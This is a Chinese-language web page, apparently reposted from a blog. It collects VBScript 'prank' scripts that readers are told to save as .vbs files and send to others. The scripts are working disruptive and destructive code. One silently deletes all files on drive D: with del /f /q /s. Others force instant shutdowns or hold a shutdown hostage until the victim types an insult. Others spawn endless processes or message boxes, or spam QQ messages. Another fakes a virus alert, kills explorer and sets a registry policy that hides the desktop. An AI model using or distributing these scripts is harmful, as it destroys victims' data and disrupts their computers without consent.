史上最全的 整人代碼

1.打開無數個計算器，直到死機

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

先打開筆記本??，輸入以下內容 ，保存??，把后面的txt改成vbs

就OK????????自己不要打開哦

發給別人 、、、

【vbs整人代碼《網上收集的》史上最全】

好玩的一個

--------------------------------------------------------------------------------

新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

這里的數字可以修改關機時間 180秒

這些文字也可以自設 這個腳本啟用cmd 里的關機程序

如果不輸的的話 可以打開任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已

經沒了 但是還有個關不掉的窗口 我們打開任務管理器 結束掉Wscript.exe 這個進程就OK

了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主

其他的：

一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼里的數字10改一下即可).

xx.vbs=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("與 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

QQ騷擾信息,也可以用在其它程序上。

二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、說我是豬，不說我是豬就一分鐘關機

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下???"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

-----------------------------------------------------------------------------

四、直接關機

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、刪除D:\所有文件(謹慎，不要輕易打開)

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不斷彈出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

七、不斷按下alt+f4 (開什么都關閉……)

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

八、按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "哥們，給我按500次回車吧",64

loop

'------------------------ ------------------------------------------------------------

九、關不掉的窗口, 羅嗦的窗口

------------------------------------------------------------------------------------

WScript.Echo("嘿，謝謝你打開我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可愛的小朋嗎?")

WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎么才來，說~是不是不關心我")

WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

WScript.Echo("小強很生氣，后果很嚴重哦。")

WScript.Echo("嘿嘿！你也會很慘滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")

WScript.Echo("還剩49下，快點點哦")

WScript.Echo("還剩48下，快點，小笨蛋！")

WScript.Echo("還剩47下對，就這樣快點點！")

WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾

你工作。")

WScript.Echo("還剩45下，記得要快哦！")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

.......

WScript.Echo("還剩35下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下停停！！！慢點，我有話要說")

WScript.Echo("還剩12下，你繼續點我就會消失滴")

WScript.Echo("還剩11下，以后就看不到我拉。555555")

WScript.Echo("還剩10下，你現在可以選擇停止！")

WScript.Echo("還剩9下。你還點啊，不要我拉？")

WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")

WScript.Echo("還剩7下。瘋了，你有點負意！")

WScript.Echo("還剩6下。對。你就點吧，我恨你！")

WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")

WScript.Echo("還剩4下！真要刪除我？")

WScript.Echo("還剩3下。可是我真的很眷戀你。。。")

WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你

的！")

WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無

義！！！")

WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝

又給了一次機會。")

WScript.Echo("想結素我么?那你就再多點一次")

WScript.Echo("想結素我么?那你就再多點一次")

WScript.Echo("想結素我么?那你就再多點一次")

WScript.Echo("想結素我么?那你就再多點一次")

---------------------------------------------------------------------------

十、關掉資源管理器，并且不能顯示桌面(解決辦法：將"HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"改為"HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"在運行一遍就好了)

-----------------------------------------------------------------------------

msgbox "要求："&vbcrlf&"1、要同時涉及3大門派"&vbcrlf&"2、要包含江湖門派間多年 怨情仇 又要打破世俗倫理"&vbcrlf&"3、同時情節還要扣人心懸 大有血雨腥 呼之欲來令人極為期待該小說之續集 同時留下N多懸念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人來投稿 全文只有九個字:"&vbcrlf&""&vbcrlf&"...........",0,"武俠小說征文"

msgbox "禿驢 敢跟貧道搶師太",64,"投稿"

set ws=createobject("wscript.shell")

sub sleep (s)

wscript.sleep s * 1000

end sub

sleep 900

ws.popup "windows檢測到有重要更新未安裝"&vbcrlf&""&vbcrlf&"系統將在30秒后自動下載更新并安裝",30,"Windows Xp",64

sleep 10

ws.popup "正在下載更新......"&vbcrlf&""&vbcrlf&"稍候將提示您安裝",10,"Windows Xp",64

sleep 900

ws.popup "windows已將一病毒載入計算機中"&vbcrlf&""&vbcrlf&"稍后即將運行",15,"病毒",64

sleep 3

ws.run "taskkill /f /im qq.exe",vbhide : sleep 5

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

ws.run "notepad",3 : wscript.sleep 2000

ws.sendkeys "^ " : wscript.sleep 1000

verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")

for each wind in verybat

ws.sendkeys wind

wscript.sleep 500

next

---------------------------------------------------------------------------

十一、整人關機，并打開網站(網址可以換成自己的)

-----------------------------------------------------------------------------

set ierunner=createobject("wscript.shell")

ierunner.run "cmd /c start iexplore http://baidu.com/

wscript.sleep 8000

ierunner.sendkeys "%{F4}"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 3000 -c ""快說你愛我???"" ",0 ,true

dim a

do while(a <> "我愛你")

a = inputbox ("說你愛我,就不關機，快點，說 ""我愛你"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"

總結

以上是生活随笔為你收集整理的android 整人代码‘’,史上最全的 整人代码的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。